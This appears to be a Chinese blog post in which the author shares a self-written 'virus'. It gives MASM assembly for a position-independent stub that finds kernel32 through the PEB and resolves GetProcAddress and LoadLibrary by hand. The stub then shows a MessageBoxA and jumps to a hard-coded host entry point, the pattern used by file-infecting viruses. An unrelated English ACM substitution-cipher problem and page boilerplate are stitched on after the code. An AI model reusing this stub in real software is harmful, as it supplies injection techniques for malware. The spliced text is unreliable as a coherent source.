自己写的小病毒

前年写的病毒,当时中了劳拉病毒,然后我照的它写了一个,参考了好多资料,主要是386汇编和PE文件结构的资料,个人感觉汇编什么的不是很难,当时我还不太熟悉宏汇编,不然可以有更简洁的代码
.486
      .model flat, stdcall
      option casemap :none
include /MASM32/INCLUDE/windows.inc
.code
start:
  call pstart
pstart:
  pop ebx       ;mov ebx,dword ptr [esp]
  sub ebx,offset pstart   ;//ebx为重定位信息,现在应该是0
  push ebp      ;//保存程序开始时的EBP
  mov ebp,esp
  sub esp,80h     ;//根据变量改变40h
  mov dword ptr [ebp-4],ebx  ;//保存到Pbase
;///getKernelBase///
  mov eax, ss:[30h]
  test eax,eax
  js loc1
  mov eax, dword ptr [eax + 0Ch]
  mov esi, dword ptr [eax + 1Ch]
  lodsd           
  mov eax, dword ptr [eax+8]
  jmp loc2
loc1:
  mov eax,dword ptr [eax+34h]
  mov eax,dword ptr [eax+0B8h]
loc2:
  mov dword ptr [ebp-10h],eax
  push ebp      ;//保存变量表指针EBP
  mov ebp,eax        ;//ebp=Kbase
;///Get GetProcAddress's EnterPoint//
  mov eax,dword ptr [ebp+3Ch]
  mov edx,dword ptr [ebp+eax+120]
  add edx,ebp
  mov ecx,dword ptr [edx+24]  ;//number
  mov ebx,dword ptr [edx+28]  ;// at=esp+4
  push dword ptr [edx+32]  ;//npt=esp
;
   mov edi,esp
            sub edi,10h
  mov dword ptr [edi],50746547h
  mov dword ptr [edi+4],41636f72h       ; 要改
  mov dword ptr [edi+8],65726464h
  mov dword ptr [edi+0Ch],00007373h  
;
findstart:
  dec ecx
  xor edx,edx
  mov esi,dword ptr [esp]
  add esi,ebp
  mov esi,dword ptr [esi]
  add esi,ebp
cmpbyte:
  lodsb
  cmp al,byte ptr [edi+edx]
  jne notsame
  cmp edx,14
  je find
  inc edx
  loop cmpbyte
  jmp cantfind
notsame:
  add dword ptr [esp],4
  add ebx,4
  jmp findstart
cantfind:
  xor eax,eax
  jmp findend
find:
  add ebx,ebp
  mov eax,dword ptr[ebx]
  add eax,ebp
findend:
  add esp,4
  pop ebp       ;//pop出变量表指针
  mov dword ptr [ebp-0Ch],eax  ;//保存GetProcAddress的函数入口点
;/
  mov ebx,dword ptr [ebp-4]
  mov edx,offset LoadLibrary    ;//LoadLibrary
  add edx,ebx
  push edx
  push dword ptr [ebp-10h]
  call dword ptr [ebp-0Ch]    ;//获得LoadLibrary的地址
  mov dword ptr [ebp-14h],eax

  mov edx,offset USER32     ;//user32.dll
  add edx,ebx 
  push edx
  call eax        ;//调用LoadLibrary

  mov edx,offset messagebox     ;//user32.dll
  add edx,ebx

  push edx
  push eax
  call dword ptr [ebp-0Ch]   ;//获得MessageBoxA的地址

  push 0
  push edx
  push edx
  push 0
  call eax
  
  nop
  nop

;//
  add esp,80h     ;//根据变量改变40h
  pop ebp
  jmp pend
;
LoadLibrary:
            db "LoadLibraryA",0
USER32:
            db "user32.dll",0
messagebox:
  db "MessageBoxA",0
pend:
  mov eax,0041c560h   ;//转到正常的程序入口点
  jmp eax 
  nop
  nop
  nop
  nop
  nop
  nop
  nop

end start

Antique Comedians of Malidinesia would like to play a new discovered comedy of Aristofanes. Putting it on a stage should be a big surprise for the audience so all the preparations must be kept absolutely secret. The ACM director suspects one of his competitors of reading his correspondece. To prevent other companies from revealing his secret, he decided to use a substitution cipher in all the letters mentioning the new play. Substitution cipher is defined by a substitution table assigning each character of the substitution alphabet another character of the same alphabet. The assignment is a bijection (to each character exactly one character is assigned -- not neccessary different). The director is afraid of disclosing the substitution table and therefore he changes it frequently. After each change he chooses a few words from a dictionary by random, encrypts them and sends them together with an encrypted message. The plain (i.e. non-encrypted) words are sent by a secure channel, not by mail. The recipient of the message can then compare plain and encrypted words and create a new substitution table. Unfortunately, one of the ACM cipher specialists have found that this system is sometimes insecure. Some messages can be decrypted by the rival company even without knowing the plain words. The reason is that when the director chooses the words from the dictionary and encrypts them, he never changes their order (the words in the dictionary are lexicographically sorted). String a1a2 ... ap is lexicografically smaller than b1b2 ... bq if there exists an integer i, i <= p, i <= q, such that aj=bj for each j, 1 <= j < i and ai < bi. The director is interested in which of his messages could be read by the rival company. You are to write a program to determine that. Input Output Sample Input 2 5 6 cebdbac cac ecd dca aba bac cedab 4 4 cca cad aac bca bdac Sample Output abcde Message cannot be decrypted.
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值